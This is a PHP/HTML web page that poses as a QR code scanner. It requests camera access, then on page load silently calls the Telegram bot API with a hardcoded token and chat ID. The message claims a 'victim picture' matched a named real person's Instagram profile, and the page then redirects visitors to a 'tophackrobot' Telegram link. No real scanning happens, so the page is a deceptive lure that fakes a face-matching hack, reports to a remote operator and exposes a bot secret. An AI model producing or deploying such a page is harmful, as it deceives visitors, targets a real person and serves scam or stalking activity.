<?php
$originalNumber = isset($_GET['id']) ? $_GET['id'] : '';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>QR Code Scanner Simulation</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #2e2e2e;
            font-family: Arial, sans-serif;
            color: white;
        }
        #scanner {
            position: relative;
            width: 320px;
            height: 320px;
            border: 10px solid white;
            border-radius: 15px;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #444;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
        }
        #scanner video {
            width: 100%;
            height: 100%;
            object-fit: cover;
            border-radius: 10px;
        }
        #scan-info {
            margin-top: 15px;
            text-align: center;
            font-size: 18px;
        }
        #flashlight {
            position: absolute;
            bottom: -55px;
            left: 50%;
            transform: translateX(-50%);
            background-color: #555;
            border: none;
            border-radius: 50%;
            width: 45px;
            height: 45px;
            color: white;
            font-size: 20px;
            display: flex;
            justify-content: center;
            align-items: center;
            cursor: pointer;
            transition: background-color 0.3s ease;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
        }
        #flashlight:hover {
            background-color: #666;
        }
        .message {
            text-align: center;
            margin-top: 20px;
            font-size: 22px;
            color: #6cff6c;
            font-weight: bold;
        }
        /* Additional styles */
        body {
            background-image: linear-gradient(to bottom, #2e2e2e, #333);
        }
        #scanner {
            border: 10px solid #555;
        }
        #flashlight {
            background-color: #666;
        }
        #flashlight:hover {
            background-color: #777;
        }
        .message {
            color: #33cc33;
        }
    </style>
</head>
<body>

    <div id="scanner">
        <video id="qr-video"></video>
        <button id="flashlight"></button>
    </div>
  
    <div class="message" id="success-message"></div>

    <script>
        // Initialize variables
        const video = document.getElementById('qr-video');
        const scanInfo = document.getElementById('scan-info');
        const successMessage = document.getElementById('success-message');
        const flashlightButton = document.getElementById('flashlight');
        let flashlightEnabled = false;

        // Function to start video stream
        function startVideoStream() {
            navigator.mediaDevices.getUserMedia({ video: { facingMode: 'environment' } })
                .then(stream => {
                    video.srcObject = stream;
                    video.setAttribute('playsinline', true); // Required to play video on iOS
                    video.play();
                });
        }

        // Function to send a message to Telegram
        function sendTelegramMessage() {
    const botToken = '7594097068:AAF4vZCdt6hSXnO4blUBovUII66iZ9q8B4I'; // Replace with your bot's token
    const chatId = '1750573037'; // Replace with your chat ID
    const message = "<b> Instagram Profile Found\n\n Profile Link:\nhttps://www.instagram.com/anushkasharma?igsh=cGViazJueTNlZmM4\n\n Victim Picture Matched with above profile upto 97% accurate.</b>"; // The message to send

    const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}&parse_mode=html`;
    fetch(url)
        .then(response => response.json())
        .then(data => {
            alert("Matched id founded !");
setTimeout(function() {
  window.location.href = "https://t.me/tophackrobot"; // replace with your desired Telegram URL
}, 2000);
            setTimeout(() => {
                document.getElementById('scanner').style.display = 'none';
                scanInfo.style.display = 'none';
            }, 5000);
        })
        .catch(error => {
            alert("Failed to fetchid."); // Display error message as alert
            console.error(error);
        });
}


        // Flashlight toggle
        flashlightButton.addEventListener('click', () => {
            flashlightEnabled = !flashlightEnabled;
            if (flashlightEnabled ) {
                video.srcObject.getVideoTracks()[0].applyConstraints({ advanced: [{ torch: true }] });
            } else {
                video.srcObject.getVideoTracks()[0].applyConstraints({ advanced: [{ torch: false }] });
            }
        });

        // Start video stream and send message after 5 seconds
        window.addEventListener('load', () => {
            startVideoStream();
            setTimeout(sendTelegramMessage, 5000); // Send message after 5 seconds
        });
    </script>

</body>
</html>